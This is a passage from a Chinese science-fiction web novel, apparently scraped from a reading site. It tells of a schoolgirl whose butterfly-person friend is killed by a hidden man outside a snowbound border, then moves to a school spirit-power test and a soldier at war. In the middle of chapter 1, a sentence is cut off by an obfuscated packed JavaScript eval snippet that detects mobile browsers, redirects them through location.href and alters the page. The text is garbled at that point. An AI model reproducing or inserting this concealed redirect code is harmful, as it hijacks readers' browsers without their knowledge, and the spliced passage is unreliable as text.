《你的回信》 1. 蝴蝶之死(一) “星际3900年4月5日,我们插播一条米拉尔星球消息,米拉尔星球作为星际三大星球之一,正式与其他小行星建立联系,将可能帮助米拉尔星球产业与能源发展。我是今天的播报员周荨。” 昏暗的小阁楼内,幽蓝的光线从窗帘未曾紧闭的玻璃窗外透进来,周觅趴在床上有一搭没一搭摆弄自己的光脑,在姐姐的播音声中迷迷瞪瞪快要睡过去。 “砰砰砰—”门被人大力敲响,周觅在床上翻个身,她眨巴眨巴眼睛,在门被敲响第二次时,她赶紧掀开被子跳下床。 鞋子来不及穿,一只搭在脚上,一只还安稳的处在床脚。 随着她快速走向门口,鞋上毛绒小狗使劲晃着,楼顶下恰逢其时的传来狗吠,深夜的米拉尔星球北部,陷入深深的冷寂与阴森中。 门“吱呀”一声开了,门口的人收了自己在蓝光下,闪着水晶质感的蝴蝶翅膀,她头上的一对触角轻轻点了下,分别放在周觅的太阳穴,进行识别。 过程不过几秒,她的瞳孔一闪而过,这才对着周觅缓慢微笑,像一帧帧的定格动画,“今晚的蓝粒太疯狂了,我害怕你变成那种东西。” “不会啦,我精神力好歹也是A。”周觅让开身子让她进屋,屋子内的精神探测仪没有发出声音,四下静寂无声,只有厚重的落雪在不断敲击泛着蓝光的玻璃窗。 周觅关上门,略有些尴尬的对她一笑,赶紧搭上还在床脚的拖鞋,鞋头的毛绒小狗随着她陡然趴在地上的动作晃得更厉害。 她将自己放在床底下的背包与一个黑黝黝的箱子拖出来,实在太重了,周觅费劲地想将它拽出来,还不等她出口,蝴蝶炽音已经蹲下来帮她一起搬出这些东西。 “这都是什么?”炽音头上的触角动了动,她金黄的眸子不断在这些被两人合力拖出的箱子上扫描着,并未有异常,多年来,身为外部种族,炽音总是对这些她不懂,搞不清楚的东西抱着天然的畏惧心理。 周觅不会让她觉得害怕,快速打开给她看,“是一些工具还有阻挡蓝粒的保护服,效果不是很好,但我精神力还可以,应该不会被干扰吧。” 今晚蓝粒波动搅得人心惶惶,要不是快到了任务终止时间,炽音绝对不会麻烦周觅同她今晚出去。 “还是要小心。”炽音的触角不安稳的上下乱颤,窗外透进来蓝澄澄的光,照亮了她金色却死气沉沉的眸子,像是一点幽蓝的火舌快速烫伤了金色的纸张,那纸张卷了边,在风与火的加持下,迅速变成灰烬,全然散了。 似乎被蓝光内的什么东西灼伤,炽音使劲眨了眨眼睛,才缓解几分心口快速的跳动,她直觉今晚不会轻松。 炽音是蝴蝶,一举一动都很慢,在人类的眼睛里,蝴蝶这种东西,除非振翅而飞被风高高抛起,甚至振翅而飞也有可能成为困于捕虫网中的生物。 如果飞翔都不快,其他的动作频率就更慢了,尤其是在这种不欢迎他们的星球上,他们的动作被限制,几乎每个所谓的“非人生物”“外来生物”,脖子上都有一道能量锁,随时禁锢他们的能力,只能像普通人类一样借助外力。 周觅在里间换衣服,窸窸窣窣的声音从门板下传来,不堪一击的门板随时会被来人走动的声音惊掉一地木屑,墙角有被炉火灶熏黑的痕迹,这是个很老的房子,周觅从五岁那年才开始住在这里。 那个时候的污染还没这么严重,对外来物种与非人生物的排外声音也没这么大,炽音不知道这个世界还有没有彻底接纳他们这些生物的一天,但只要活着,就有希望。她将目光投向已经换好衣物出来,包裹严实,只露出一双漆黑的眼眸的周觅——标准的人类女孩。 周觅锁好房屋,在早晨五点之前她必须回来,母亲偶尔有可能在早晨的这个时间段,给还是高中生的她打电话,因为工作原因,他们没法带走周觅,讨生活是极不容易的,不然周觅也不会为了再多弄点零花钱,同炽音接一些私人任务。 大部分私人任务的客户,会很在意接下任务的人是否为人类,如果是外来物种或者非人类,他们甚至愿意给10%的违约金,当场毁约,炽音因为这个,在星际网站的任务平台每次挑选都很艰难。 门被锁好的声音“嘎达”一声响起,楼下的狗吠有一阵子没声音了,两人并不多加疑心,轻手轻脚背着包往楼下走。 楼梯多年未修,再多加小心,踩上去也还是会有“嘎吱嘎吱”细响,这细响随着两人的脚踩频率跳动,不一会彻底消失在楼梯口。 周觅在楼梯口最后检查一遍自己的背包,东西都装齐了,炽音却目视前方的密码门,忽然眉头一皱,又猛地松开,周觅问她是否有情况,可是在楼底下站岗的猎犬一点声响没有,或许是她太杯弓蛇影,一点风吹草动就刺激个不行,索性摇摇头,温柔道,“没事。” 密码被打开,蓝粒的波动一下狷狂涌泄进来,蝴蝶的嗅觉不明显,在炽音看来这不过是一场稀疏平常的夜晚,不过蓝色的浓雾颇重,远处宏伟的北部大厦内明亮的光被分解成一粒粒光,不再像黄昏时蓝粒不浓时的显眼。 “这蓝粒很严重,鱼腥味很浓,小心点。”周觅带着皮质手套的手轻轻滑过炽音裸露在外的肌肤上,炽音肌肤几乎呈透明状,暴露出根根血管的胳膊被周觅这么一摸,全起了鸡皮疙瘩。 她的触角互相碰了碰,金色的眸底明显浮现出了点慌乱的神情,看着比自己高了一个头左右的周觅,低下头失神好半晌,这才跟上。 浓重的蓝雾还未彻底遮蔽两人走远的身影,忽然一只手出现在墙角,他挥了挥手,蓝雾便一阵阵跟随他宽厚的手掌散去。 不知是谁家放在阳台上的夜灯未关,夜深了,照不出多远,可偏偏夹杂在丝丝缕缕的幽蓝雾气内,这缕光被送到了男人的脸上,一张硕大的蛙脸安稳放在他厚实的脖颈上,麻麻赖赖的绿脸在微弱的光亮里,简直是岩浆一般,咕嘟咕嘟冒泡,流淌着一堆绿油油的液体。 他一拳砸碎夜灯,可砸的不彻底,灯芯拼尽全力闪了最后几下,终于熄火。 随着他迈开腿的动作,蓝粒迅速朝四周散去,可又快速将他包围,一两分钟后,他的身影从公寓楼底往远处看,也什么都没有了。 被砸碎的夜灯,灯芯孤零零的挂在那里,随着风的掠过,摇摇晃晃的没个稳定支点,蓝粒在它周围显得越发深沉,忽然它“啪”的一声炸,竟又亮了起来,直直投射在公寓楼后那条没头的猎犬尸体上。 尸体枯败的像被人吸干吸干净了血,干巴巴的躺在地上,四肢僵硬的竖起来,生命已然化为乌有。 周觅与炽音越朝着城外走,蓝粒构成的雾气便越深重,或许是错觉,天太黑了,如果不是两人手里都拿着灯,硬生生劈开在黑夜里作祟的雾气,那还真是难走。 “谁?” 站在城市边防线旁等待换班的士兵眼神一寒,快速立枪,慢慢朝这里走来,戴在头顶的设备疯狂闪着红点,那是他们军方的录制仪器。 每次交班后,都会有人收走这个设备,查看他们的视频,见过什么人说了什么话一目了然,毫无隐私。 边防线这里种了很多枝枝桠桠的枯树,多年前它们还是枝繁叶茂,可蓝粒的腐蚀性与干扰性,使它们再也长不出一颗新鲜的绿叶。 灯光一晃一晃的往墙体后的两人这里闪,周觅与炽音关了灯后就躲在这里,谁都没料到今晚的士兵换班时间会比往常要晚,要是被发现,周觅想自己后半辈子就在牢里面度过吧。 心里这么想,脸上却没有一丝慌乱,她握紧手里的麻醉枪,深呼吸了几次,就要出手,可炽音忽然扣住她的手,不容周觅多想,那里传来了另外一个脚步声。 “行了,换班的人马上就到,别擅自离岗。” “可是我觉得不对劲。”小士兵手里的枪没放下,直直对着周觅与炽音藏身的墙体,来人“嘶”了声,有些不满,拔高声线道,“我不是在跟你商量,现在回去!” 小士兵无法违抗上级的指令,只能在心里叹口气,收了枪立正行军礼道,“是!” 他小跑着一路回去,灯光也离两人越来越远,炽音长出一口气,本想说什么,却被周觅猛地捂住嘴,周觅漆黑瞳孔内的神情显得格外凌厉,她感觉有点不对劲,炽音赶紧点点头,示意自己不会说话,周觅却没动。 蓝色的雾气没有一丝浮动,在墙体周围慢慢游走,墙体前的长官意味深长地盯着这里许久,直到一声哨音响起,他这才收回视线,踩着军靴往回走。 墙体后的炽音后知后觉,她金色的瞳孔左右晃了晃,示意周觅放手,赶紧出边防线,可周觅还是不动。 直到第二次哨声传来,还有三十秒换班的军队就会来,周觅这才立马放手,两人快速拿上东西,认准方向,猎豹一般的速度,敏捷地溜出边防线。 边防线内的蓝粒更多更严重,一般所谓的蓝粒干扰者就是从边防线后面来的,一两个都能要了城市警官的命,每天踩点抓人,更别说一大群这种干扰者了。 可是边防线外的东西长得就是比城市里面的要好,类似于周觅与炽音这种晚上铤而走险的人其实很多,生活在城市内的成本太高了,不接点任务,实在难以存活。 躺在一旁的树干上,两人终于得以喘口气,那边的换班已经结束,下了车的士兵们打开枪支保险栓,对准边防线外周觅与炽音所在方向瞄准,可这边蓝粒很重,他们就算用的是最先进的枪械,观察到的也不会超过百米。 “你为什么当时不让我说话?”炽音气喘吁吁的靠过来,她细胳膊细腿跑一会就有点受不了,害怕她受伤,周觅蹲在她面前,仔细看了看她裸露在外的小腿肌肤,并没有什么伤痕。 透明的肌肤质感在蓝粒的雾气冲击下,还能散发着淡淡的透明光芒,一旦有点红痕就会很明显,显得楚楚可怜,从小到大,周觅都无比关切这个蝴蝶小人。 听到炽音问自己,周觅站起身,直视她的眼眸道,“那位长官他没有手电筒这种设备,我更没有感受到他明显的精神波动,他不紧张,更不觉得奇怪,只有两种可能。” “哪两种?”炽音莫名有些紧张,她缩在树干后面,昏暗灯光下影影绰绰的树干枝桠倒影在她的脸上。 周觅一边先后伸出两根手指,一边带着她往丛林内标注的地点走,“第一种,他根本不在意我们,第二种,他是蓝粒感染者。” “说不定,他现在一直跟在我们身后。”周觅举起来的两根手指晃了晃,黑色胶皮手套显得她手指更修长,幽幽的声音响起,惊得炽音站在她对面眼眸止不住地颤,透过周觅两根手指的缝隙看向身后,静悄悄的,连一阵风都不存在。至于那些原本就存在的蓝粒雾气,稀稀疏疏的枝干,只能说。 炽音跟着周觅往浆果的标记地点走,雪下的很大,深一脚浅一脚的踩在才落的雪面上,可一会又会被鹅毛大雪覆盖,她紧紧贴着周觅,害怕自己迷失方向。 浆果采摘这一任务是其他小行星上的鹿太太发布,这种浆果生长于丛林深处,晚上才最新鲜,炽音不敢一个人来,等到了最后截止时间才拜托周觅同她一道。 蓝粒的波动到了这里已经趋于最平稳的状态,周觅环顾四周,鹅毛大雪像是利箭一样迅速从天上抖落,纷纷扬扬的砸落在二人的头顶鼻尖,以及任何可以被这种纯白寄生的身体各处。 炽音蹲下身子,推开这片大雪,猩红的浆果就生在厚重的雪床下方。 动物一族对植物的气味很敏感,炽音十八岁后经常在网站上找一些采摘稀有植物的任务,多少能赚一点,以应付每年对于高额的税收。 她动作细致,采摘的手法比周觅更稳,周觅负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238707|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责给她递工具以及背回这一筐子浆果,明早八点前交给输送列车发往鹿太太所处的星球。 “停一下。”周觅出声,炽音的手顿住,她金色的瞳孔穿过丝丝缕缕颗粒质感的雾气,迟钝的感知力让她不知道发生了什么。 周觅动作轻缓的起身,她漆黑的瞳孔紧紧盯住蓝粒外的某一处,可是什么声音都没有,一切都安静的如一滩经久不动的死水,一丝涟漪不起。 炽音的手还埋在雪里,鹅毛大雪扑洒在她修长的白色睫毛上,冰冷的雪花将她的手冻得通红刺痛,可她不敢有其他动作,完全依赖眼前的周觅是她从小到大的习惯。 周觅试探着朝前走去,长靴踩在绵密厚实的雪花上,尽管再小心,还是会发出“吱呀吱呀”的踩雪声,冷到通红的耳垂那里似乎热了起来,一路顺到耳膜,这声音几乎成了敲在耳际的哀钟。 雪景忽然遮住了周觅的眼帘,她听到炽音短暂的一声刺耳尖叫,这声尖叫太尖利,尖利到周觅过了半晌,才发现自己的脸颊也已经被划破。 她完全感觉不到痛,只有炽音被尖利的无数条树枝钉死在树干上的惨状,深深震撼着周觅。脑子内一阵阵发晕,太快了,炽音的生命结束的太快了。 浆果的汁水流出,染红了周围的雪景与周觅的眼眸,脸颊处的伤口裸露在蓝色的雾气中,殷红的鲜血顺着她脸颊的弧度往下落,无疑引发了更多窸窸窣窣的声音在周围的树干处,借由黑夜与蓝粒的遮挡,肆意散发恶意。 炽音双眸瞪大,金色的瞳孔已然涣散,最一击致命的是处在她脖子正中央的伤口,大片大片的血流从她的胸口往下,顺着小腹流经大腿根,最后流经肤色暗淡下去小腿腿肚,一滴滴从脚后跟贴在那些树干密密麻麻的时间沟壑上落入雪中,染红了,浸透了,一大片一大片的可怖场景。 周觅止不住的抖着下唇,她看见了死后不受控制的翅膀,蔫哒哒贴在炽音的背后。 一切像是褪去了光华,与炽音的那些记忆也像是被蒙上了一层灰。 “我需要它的翅膀。”有人从周觅身后过来,可是蓝粒没有发出任何一点强烈的波动,是人类,是的,是人类。 周觅因为害怕与愤怒的手紧紧贴在裤缝旁,后背“唰”的一下,出了大颗大颗冷汗,随着脊背的弧度往下爬。 “你也是人类,怎么会和这种非人类物种贴在一起,简直有损人类形象。” 蓝粒内的东西贴着她转,周觅能感觉到他打量的视线,因此她漆黑的瞳孔跟随她所能感知到的方向对上了他的眼神,男人一惊,他挑眉惊诧道,“你能看得见我?” “你管我能不能。”周觅闭了闭眼睛,她不敢去看炽音被钉死在树干上的尸体,她只想带走一直跟着自己,需要自己保护的蝴蝶小人,是她不够强,没有感知更巨大危险的存在,这个男人碾死她们就跟碾死只蚂蚁般容易。悔恨与无措浪花一般席卷着她的身体。 像是洪大的狂风过境,一株根基不稳的小草只能被卷起,高高撞上让自己粉身碎骨的山石。 可他不会杀自己,有些讨厌非人类物种的自私人类,就是这样,绝不会杀同类,哪怕同类作恶多端。 她赌对了,男人果然不生气,他只是嗤笑一声,“这些生物贴在你身边,不过是想寻求庇护,什么忙都帮不上,你别太伤心啊,不过是你的小宠物。” 周觅真是火冒三丈,她直接对他举起枪,厉声喝道,“别再说了,我不想听。” 还以为她只是偶然跟自己对上眼神的男人,眼眸内迸发出强烈的高兴色彩,遇上了不可多得的天才般,眼神黏糊至极地瞧着周觅,似乎要把她穿戴的这身黑衣看透了,阴森森的眼神,似乎从衣服到肌肤再到血肉,最后直直对上周觅的灵魂才好。 太恶心了,周觅皱眉想。 他盯着枪口正对着自己,且还随着自己的动作而跟着转移的周觅,嘴角快咧到耳根连着太阳穴,似乎有根神经一耸一耸地动。 “我们做个交易,你的蝴蝶死后,她的翅膀所携带的能量物质会形成蓝粒S级磁场,如果你能烧掉它被蓝粒感染的灵魂。它磁场内的宝物,我不需要,你收着就好,但你要答应我,三年后来联邦见我。” “我不去。”周觅下意识上下扫了眼这个不愿露脸,估计身体或者脸上有什么难言之隐的男人,测试他的最低容忍度。 男人轻轻笑了一声,语气冷冰冰的威胁,“那我带走它好了,联邦需要非人类实验体,你要在联邦的星际频道上看见它吗?” 周觅端枪的手瞬间晃了晃,男人的手从蓝粒的雾气中伸出来,他只露出一条胳膊,明显的机械臂。上面留有树枝的木屑,证明他是杀掉炽音的罪魁祸首,周觅眼神一下犀利无比,她憎恶地盯着它,却也无可奈何的心生悲哀。 机械臂稳稳扶住周觅的手,每一块构成它的金属下面,都藏着一个个利器,周觅的眼神再度回到虚无一片的蓝雾中去,紧紧盯住她直觉感知到的,属于他的视线。 “拿稳你的枪,不然怎么杀人。” “我答应你。”周觅与他同时开口,她知道面前的男人不达目的绝不会放弃,她需要留下炽音最后的尊严,答应他才是最好的退路。 他很满意,机械臂消失前,他轻抚了下周觅被自己划伤的脸,他笑道,“你知道的,没有人会很轻易的发现我,我刚才以为你是变种人,所以不好意思,我的错。” 周觅皮笑肉不笑地抬眸扫他一眼,对他充满不屑。四周忽然有强烈的灯光跳动,是那群镇守在边防线的士兵意识到不对劲来到了这片边防线外的世界,周觅猛地一回头,男人的气息已然全部消失。 周围窸窸窣窣的声音也在一瞬间静止,这里只有漫天的大雪不断往下压住周觅不堪一击的神经,还有被牢牢钉死在树干上,血已经快要流感的炽音。 2. 蝴蝶之死(二) “昨晚在边防线外,军方发现有一只非人类物种和一位年纪不大的女学生,非人类物种已死亡,女学生暂时生命体征良好,应该是蓝粒干扰者所为,请大家注意晚间防范工作,军方也会增加守卫力量。本台记者为您持续关注蓝粒干扰者活动。” 昏暗的教室内,一个人都没来,周觅趴在课桌上,听着校园广播播放的讯息,她脸上的伤口已经结痂。 身体还未从完全冰冷的状态中醒来,一滴泪顺着她的眼眶往下落,刺痛了她明明结痂的伤口,很痛,滚烫,伤口似乎被这咸涩的泪水烫到翻出一层层的血肉。 昨晚她极度紧绷的精神力崩溃后,晕倒在雪地里,军方的人来的很快,她被送往医院接受短暂治疗,醒来的时候,炽音的骨灰已经被送到她的手里。 窗外生长在中区的植物已经发芽,春天到了。可米拉尔星球北部的雪永远都不会停下来,炽音再也不会在校车经过的路上等着她。 那个人……那个男人,联邦。周觅紧闭着肆意流泪的眼睛忽然睁开,她漆黑的瞳孔上浮了一层红光,泪珠几乎都带着淡淡的血气,她恨不得撕了他! 教室外有人走过来,脚步声越来越接近,来人推开门,惊讶竟然有人比自己来的还早,她咳了两声,这才用自己的身份卡刷了下身份验证区域签到。 “周觅,你的信件,我看门口信箱是开着的,我就拿进来了。”缇娜·韦德是班长,家里住中心区的地下城,往往第一个过来安排事务,帮同学们拿信件拿快递,是位非常乐于助人的人。 周觅道了句谢接过,脸上的泪痕已经干了,班级里的灯因为缇娜刷卡这才亮起来,照的周觅无所遁形,坐在她旁边的缇娜惊慌失措,不懂她怎么哭了。 连问几句,“你没事吧?” 缇娜一头金色的卷发,一双大大的蓝眸宝石一般镶嵌在她皮肉紧实的脸上,她这么凑过来问周觅,周觅顿觉有点不好意思,摇摇头示意自己没事。 “怎么好端端的哭了呢,难不成是因为上次的考核吗?你已经很棒了,A在我们整个年级也是名列前茅。”蓝幽幽的大眼睛碧水一般,金发干蓬蓬的洒落在周觅裸露的手部,散发着淡淡的栀子花清香。 她说的是上周末的考核,周觅的精神力还是A,没有任何变化,对于梦想是军队指挥的周觅来说,有点低了,军队指挥至少是S,学院里的老师不多,大部分被其他学校高薪挖走。 三十年前,人才辈出的中心学院大部分厉害的老师全被高薪请走,而学生们也大部分被更好的机甲,更高额的奖学金与校园环境吸引走,不会留在破旧的中心学院。 但在米拉尔星球来说,这个学校还是不错,毕竟大部分人连学都上不了。 缇娜跟她关系不错,她只提及了蝴蝶朋友的死亡,时间与地点都隐去,缇娜听到蝴蝶这两个字,脸色诧异,“她十八岁了?” “有什么问题吗?”周觅不懂她怎么在意年龄的点,缇娜眉头紧锁,“蝴蝶一族的精神波动和一种粒子污染极其相似,年纪越大,在某些人眼里越有研究价值。我们才高一还没分班,我的梦想是去研究粒子污染,我家里有好多书,你可以自己去看看。” 缇娜从抽屉里翻出一本书籍,里面有她做的标记,她费劲搬出翻开这一本厚厚的典籍,却轻而易举找到那一页推向周觅。 上面是蝴蝶人死后被解剖后的各项分析,以及活着的蝴蝶人实验体对于各种粒子污染下的精神波动。 “你要在联邦的星际频道上看见它吗?” 他的话骤然在周觅脑内震响,敲的周觅眼前一片晕,书上被剖开,只剩下一半的蝴蝶人,忽然翅膀大大张开,色彩鲜艳却像一个个涡旋的翅膀纹样,将周觅的思绪牢牢拖进去。 她看见炽音被平放在手术台上,冰冷的手术灯光与那些戴上口罩,只露出野兽一般阴森渴望视线的研究人员围满手术台旁。 炽音身上的白布被掀开,布满窟窿的身体残破不堪,眼见着他们拿出手术刀就要划开她已经泛了冷绿色的肌肤,周觅慌张尖叫,“不要!” 不要,不要伤害她! 书籍被她远远推开,差点落地,缇娜被她吓了一跳,赶紧抱住自己的书,因为家里有狗狗猫猫,她的好多书都会被它们扯来扯去,坏了不少,这是最后几本好的了。 “不好意思,不好意思,我……” 周觅瞪大了眼睛,她揉了揉自己的脸,原本结痂的伤口因她粗暴,略显慌乱的动作,被她撕裂,殷红的血一滴滴落在课桌上,缇娜赶紧摆摆手,打断她。 “不要紧。”缇娜拿出自己的医疗包,为她清理伤口,神色担忧道,“今天要来一位老师,是主星来的。肯定要测试我们的精神力,你确定你还好吗?” 三大星球分为一个主星,两个附属行星,附属行星其中一个就是米拉尔星球。 在米拉尔星球这里,却也有一串被命名的星球附属于它。 巨大的宇宙星系中,有生命的星球才配有命名,每个星球都有一个巨大的星系围绕着有生命的它们发展。 世界这个名词太大了,一个小小的蝴蝶人死亡,不过是那男人手一抬一落,等待下一个米拉尔星球的春天来临,生活在北区茉莉市418街道的所有人,都会忘记炽音存在过。 春暖花开,本应该是动植物最亲密接触的日子,那个总是跟在自家身后的蝴蝶小人却不在了,周觅用力喘息也无法压制住内心的痛苦。 可时间太急迫,没人会多给一个中学生更多的时间让她抚平内心的痛。等上课铃响起,任课老师进来让班长组队,所有人集中去精神力检测室。 一个班级不过二三十个人,整个年级也就五六个班,几乎所有的人周觅都认识,周觅和缇娜到的时候,大部分人精神力检测已经结束。 缇娜作为早早就想去研究粒子的学生,她的精神力不高也没关系。 但周觅,作为中心学院的A级精神力学生,她是要去指挥班的。她一路过来时,不少人都将眼神牢牢锁定在她脸上,似乎要从她的面部表情里读懂她的内心。 见她脸上多了道被创可贴遮住的伤口,不禁聚在一起窃窃私语,不停的上下打量她。 大部分的人很在意她在高二分班后,是否会被其他学院挖走,挖走了就是敌人,挖不走大家又会觉得学校实力太弱,总之,各怀鬼胎地盯着她往内走。 缇娜的测试很快,不过几分钟立马在模拟对战中死翘翘,站在二楼观看大屏的老师很快报出分数,“560,比上次高了60,继续加油。” 她推开模拟舱的门,喜气洋洋的推着外面的周觅进去。 周觅深吸一口气,看着身后已经紧闭的门隔绝了外界的视线与空气,还未彻底平复下来的情绪告诉她,最好不要现在进行测试,可是无数双眼睛在她看不见的地方盯着她。 别无他法,她缓缓坐在位置上,将中心放置的头盔戴在自己的头上,头盔“嘎达”一声落锁,周觅脑海内顿时陷入一片沉寂。 万千波云诡谲的精神元件联系她的脑海,大屏开始出现第一项与机器人的射击赛,周觅脑子里面很乱,可利用精神力控制抬起的手丝毫不抖,瞬间十个十环。 “她是谁?”一直坐着没动,身着军装的女人从一旁的沙发上起身,她踩着军靴往前走与拿着名册记录的年级主任站在一起。 年级主任陶明恭敬的往后退了一步,给她介绍,“周觅,十六岁,北区人,上周末的精神力检测是A级,但每次都是以100左右的波动往上涨,如果这次和往常一样,那就是S级。” “S级,并不少见。”穿着军装的女人并不在意,但眼神没从大屏幕上离开。 十六岁S级当然不少见,主星上十四岁左右的SS级也是大有人在的,关键是对于自己精神力的绝对掌控很难。 两人说话间,第二轮已经开始了,大部分A级到这里就会失败,是利用精神力操纵机器人进行格斗。 “调一个S级的机器人给她,让她和SS的机器人打。” 女人话一出口,陶明上眼皮疯狂跳,他勉强道,“这不合规矩。” “规矩是给死人用的不是吗?”女人勾唇冷笑一声,拿过他的机器,按了几下,随即拍在他的怀里。 陶明知道事已定局,自己多说无用,皱眉看向眼前的大屏幕,在心里为周觅捏了把汗。 场外等着进模拟舱的几人快要吓死了,顶着巨显眼“SS级”红标入场的机器人,他们腿抖的快站不住了。 缇娜抬头看巨大的屏幕,她以为老师按错了,赶紧对着上面的陶明招手,知道她想说什么的陶明摇摇头,食指放在唇边示意她别乱出声。 她脸色惨白的转回脸,紧紧盯着大屏幕上已经朝ss级发起攻势的周觅。 ss级速度与力量都不是一般人能抵挡,在模拟舱内的周觅的确觉得困难,一拳拳砸过来她只能躲,对方动作太快,她完全没办法回击。 “加快SS级机器人的速度。” “这不合适。”陶明再度拒绝她,郑同玉的难搞程度他一开始还没发现,现在才发现真是名不虚传。 郑同玉有些不满,她略带轻视意味地瞟了眼陶明手上的名册,上面每一个人的成绩在她眼里都是一坨狗屎。 好不容易发现了一朵鲜花,还不赶快施肥催其成长,难道要让她烂在泥地里吗? 两人眼神在空气中激烈碰撞,谁都不想让谁,这种揠苗助长,随意催发精神力使用的方式,中心学院并不提倡,哪怕孩子是个废物也要是个快乐的废物。 陶明在她充满奚落的神情里,还是摇了摇头。 她仿佛嘲笑中心学院都是被他这种人搞废掉的表情,若有若无的浮在唇边,陶明像吃了苍蝇一般难受,可面上他还得维持着所谓的年级主任风度。 “老师,我头好痛。” “我也好痛,救救我老师!”几个精神力较低的学生忽然贴在地面上,他们疯狂喘息着,胡乱用指甲抓扣着自己的身体,一个个指甲抠破皮肤的红印出现在他们的脖颈处,只感觉自己的身体像是从上到下一瞬间被捅了无数个窟窿。 他 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他们或多或少脸上都挂着几滴眼泪,到底是没经历过事情,眼神干净又纯洁,尤其是那位金发碧眼的美人,叫什么来着,郑同玉路过缇娜旁边,一双灰绿色的眼眸,上下打量着她。 缇娜一直待在模拟舱旁没走,从早上见到周觅的开始,她就很担心周觅,她得待在这陪周觅。 她蓝幽幽的瞳孔往上抬,被这种气场强大的人盯着。缇娜顿生怯意,她红润的唇一下没了血色,“你……” “你挡住我的路了。”郑同玉并不怜香惜玉地推开她,见她胸口处别着一只蝴蝶胸针,她不由得讽笑一声,“你里面的朋友还为了她的蝴蝶小人伤心呢,你戴这个是要做什么?” “她不会因为这些小事生气。”缇娜桃粉色的面颊被这么个不礼貌的人气的更红了,郑同玉没空搭理这么个女学生,她抬稳自己的枪对准模拟舱门。 与周觅脑海断掉连接的神经元件,导致大屏幕已然一片漆黑,模拟舱门在大部分人恐惧害怕的神色中渐渐打开,一点轻飘飘的尘土往打开的舱门内很快钻去。 B-3214星球 从十年前甲级战犯被流放到这里却又疏于管理后,这里很快再次成为犯罪天堂,主星特拉克星球联邦特地派出陆军作战部队连带甲兵营,派发任务:“歼灭所有活物”。 今天是四月七号,天气仍然很差,尘土飞扬的地理环境让这里几乎寸草不生。 已经是他们的陆军作战部队来到这里的第七天,战况并不好,对面的机甲与进化的异兽,比联邦检测到的战力更猛,更何况对面不知道从哪里搞来了一批干扰粒子,已经有很多人迷失,没有随行的粒子研究人员,只能初期就杀掉自己的战友,流泪又流血,联邦似乎想让他们死在这里。 “他爹的,联邦那群饭桶肚子跟怀了的似的,一群只会吃不会干活的蠢猪。” 男人坐在地上,不知道从哪里拔了根枯败的草,就这么含在嘴里,抖来抖去,周围一堆应和他的战友们,所有人脸上或多或少都挂了彩。 眼见着自己好大哥从面前走过去,他赶紧喊道,“都晏,晏哥,过来坐。” 都晏身着一身传统藏绿军装,身上挂着的枪械因他迈开长腿的动作,不断发出轻响。 听到男人喊他,他点点头,给大家行了个军礼走过去。 男人让出自己坐暖和的位置给他,他却不坐,先面向所有战友道,“告诉大家一个好消息,今早我写了信,寄回军队,军队会帮我往米拉尔星球寄,如果快的话,明晚之前我们就能收到联邦的消息。” “晏哥牛啊,这边还有能寄信的?”男人是秦远,从小到大都跟着都晏,都晏去哪里他去哪里,不过有点好吃懒做就是了。 据他所说,他最努力的就是辛苦练习体能三个月,为了跟都晏一起参军。 都晏看不惯他说话流里流气的模样,轻轻拍了下他的背,又硬又壮,他这些年没少跟着自己吃苦,都晏一时心软,不舍得骂他了,只是接过他的话茬,“我乔装成居民混过去,没人发现。” 非常时期用非常手段,都晏不想看到更多的伤亡,他坐在冰冷的草地上,这种饥寒交迫的地方,本来是为了管辖甲级战犯,可是为什么最后成为军人们的葬身之地? 都晏一开始是要做一名战场上的指挥,可他在学校的模拟战争中,发现这些人都在纸上谈兵,谈论不切实际的用兵之道,妄想一兵一卒不费,快速取胜,如此急功近利,如此浅薄无知,联邦终究有一天会毁在这些人的手里。 月夜很快就要降临,存放食物的箱子也已经见底,都晏将帐篷撑起来,并不拉起来,他看着夜幕一点点从山那头慢慢爬到山这头,渐渐的天地内只剩下黝黑的色彩,这种冷寂的颜色包裹住了一切有活力的东西,使他们沉睡,不会思考。 他想起了自己信件最终的目的地,米拉尔星球北部茉莉市418街道的小小公寓楼那里,是他身处联邦行政部内朋友的家。 米拉尔北部是个苦寒冰冷的地方,可是出自这里的人有着极高的抱负与理想,都晏知道将希望寄于他人身上不现实,但只要是机会,他都要尝试。 3. 蝴蝶之死(三) 周觅回到家的时候已经是晚上七点,蓝粒还不是最重的时候,她从对面的街区买了明早的早餐和牛奶。 因为月初生活费还算多,她多买了几块点心备在家里,心情不好的时候摄入糖分,能让她快速活跃起来。 “一共三十五米拉尔星币,请支付。”新来的售货员将包装好的袋子递给她,她的光脑早就打开支付界面。 好像涨了几块,周觅瞟了几眼账单,还好她平日里花的不多,中午和晚上学校提供餐食,衣服基本上都是校服,她物欲又低,只要不是大额支出,每个月两千米拉尔星币,她有时候能省下一千五。 她想起缇娜问自己的话,“你都是S级了,别的学校想挖走你,你会去吗?” 缇娜跟许多同学提起过这个话题,无外乎只要给的钱多,肯定会去。 周觅却摇摇头,注意到她看着自己略带期待的碧蓝眼眸,像柔软的花瓣,本来到嘴边简简单单的几个字,多了点暖意。 “我不会去的,那些学校我不觉得一定比我们学校好,如若不是他们挖走了所有能力高的学生,我们学校并不会排名太低,就算这样,我们在米拉尔的中学生比拼中,不还是第三?” 这话说的很有道理,缇娜告诉周觅,她的父亲韦德先生,想给她转到特拉克星球去,作为星际最中心的存在,它定然是所有人的追求,缇娜当然不想去,只是没想好用什么理由来让父亲收回这一想法。 周觅说完后,她凑过来,甜甜笑道,“谢谢你啦,这么一讲,我的父亲大人肯定不让我去了,他其实也很舍不得我。” 可父母为了孩子的求学路,总是想尽办法,不顾一切代价,为将他们塞进名校。 重重地叹了口气,周觅想起自己的父母,一年也见不到他们几次,都又累又忙。 她拎着东西往对街自己住的小公寓楼走,直线距离不过两三百米,忽然她顿住脚,本来晃晃荡荡并未装满玻璃杯的牛奶液体,随着她停下的动作晃动幅度小了很多。 